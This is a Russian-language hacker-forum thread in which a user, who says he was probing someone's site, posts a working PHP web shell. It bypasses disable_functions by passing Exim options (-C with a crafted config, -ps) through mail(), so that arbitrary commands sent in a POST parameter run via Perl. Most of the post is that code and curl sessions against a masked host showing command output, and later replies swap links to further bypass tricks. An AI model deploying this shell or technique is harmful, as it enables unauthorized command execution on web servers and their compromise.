обход disable_functions через функцию mail

Discussion in 'Уязвимости' started by t0ma5, 28 Aug 2015.

  1. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    ковырял один сайт, позарез хотелось обойти disable_function, обнаружил один способ
    в пыхе при вызове функции mail() можно передать необязательные параметры "additional_parameters"
    Параметр additional_parameters может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f.

    Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр.

    Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки).

    Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users.
    это параметры будут переданы при вызове sendmail
    можно передать альтернативный конфиг( опция -C ), в котором вызвать выполнение perl скрипта( опция -ps )
    особо нигде не тестил, только на своем сайте - php 5.4, exim версия под спойлером
    Exim version 4.76
    Berkeley DB: Berkeley DB 5.1.25: (January 28, 2011)
    Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM Old_Demime
    Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz dnsdb dsearch ldap ldapdn ldapm mysql nis nis0 passwd pgsql sqlite
    Authenticators: cram_md5 cyrus_sasl dovecot plaintext spa
    Routers: accept dnslookup ipliteral iplookup manualroute queryprogram redirect
    Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp
    Fixed never_users: 0
    Size of off_t: 8
    Compiler: GCC [4.6.3]
    Library version: GnuTLS: Compile: 2.12.14
    Runtime: 2.12.14
    Library version: Cyrus SASL: Compile: 2.1.25
    Runtime: 2.1.25 [Cyrus SASL]
    Library version: PCRE: Compile: 8.12
    Runtime: 8.12 2011-01-15
    20:06:28 36459 Total 18 lookups
    Library version: MySQL: Compile: 5.5.28 [(Ubuntu)]
    Runtime: 5.1.73
    Library version: SQLite: Compile: 3.7.9
    Runtime: 3.7.9
    набросал небольшой код для автоматизации, под спойлером
    Code:
    <?php
    $dis = ini_get('disable_functions');
    print "[*] disable_function: ".$dis."\n";
    $cmd = $_POST['cmd'];
    print "[*] cmd: ".$cmd."\n";
    $path = getcwd();
    print "[*] result: ";
    file_put_contents('tmp.pl',"\$a=`$cmd`;open(A,'>$path/tmp.result');print A \"\$a\";close(A);");
    file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
    mail('q','q','q','',"-C$path/ex.cf -ps");
    echo file_get_contents("$path/tmp.result");
    unlink("$path/tmp.result");
    unlink("$path/tmp.pl");
    unlink("$path/ex.cf");
    
    результат работы -
    Code:
    ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=which wget;wget -h | head -n 3'
    [*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority
    [*] cmd: which wget;wget -h | head -n 3
    [*] result: /usr/bin/wget
    GNU Wget 1.13.4, a non-interactive network retriever.
    Usage: wget [OPTION]... [URL]...
    
    ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=uname'
    [*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority
    [*] cmd: uname
    [*] result: Linux
    
    ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=cat q.php'
    [*] disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,shell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chgrp,putenv,getmyuid,posix_setuid,posix_setsid,posix_setpgid,posix_kill,apache_child_terminate,virtual,proc_close,proc_get_status,proc_terminate,proc_nice,getmygid,proc_getstatus,escapeshellarg,show_source,pclose,safe_dir,chown,shown_source,mysql_list_dbs,get_current_user,getmyid,leak,pfsockopen,syslog,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority
    [*] cmd: cat q.php
    [*] result: <?php
    $dis = ini_get('disable_functions');
    print "[*] disable_function: ".$dis."\n";
    $cmd = $_POST['cmd'];
    print "[*] cmd: ".$cmd."\n";
    $path = getcwd();
    print "[*] result: ";
    file_put_contents('tmp.pl',"\$a=`$cmd`;open(A,'>$path/tmp.result');print A \"\$a\";close(A);");
    file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
    mail('q','q','q','',"-C$path/ex.cf -ps");
    echo file_get_contents("$path/tmp.result");
    unlink("$path/tmp.result");
    unlink("$path/tmp.pl");
    unlink("$path/ex.cf");
    
    само собой нужно чтобы была дира для записи, exim4 поддерживал перл и сам юзер( из под которого работает пых ) имел права на запуск перла

    сори если не в той ветке пишу, потестите у кого будет время
     
    _________________________
    private_static, Filipp, avin and 7 others like this.
  2. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    #2 nikp, 31 Aug 2015
    Last edited: 31 Aug 2015
  3. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    да этот линк у меня в закладках :)
    к сожалению не работает, предполагаю что из ограничения open_basedir
    то есть /proc/self/exe и /proc/self/maps попросту не читаются :(
    попробую на днях обойти open_basedir и заюзать https://rdot.org/forum/showthread.php?t=3309 если это в принципе возможно, кстати может кто сталкивался с подобным, может быть уже есть решения?
    p.s. способ который описал выше на целевом хосте тоже не отработал :( продебажить сложно, пока не знаю почему
    p.s.s. идея пришла после прочтения статьи http://oleaass.com/exploit-php-mail-remote-code-exeution/ кто первым раскопал не знаю, можно пруф на тему tipsy почитать?
     
    _________________________
  4. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
  5. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
  6. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    _________________________
    grimnir and yarbabin like this.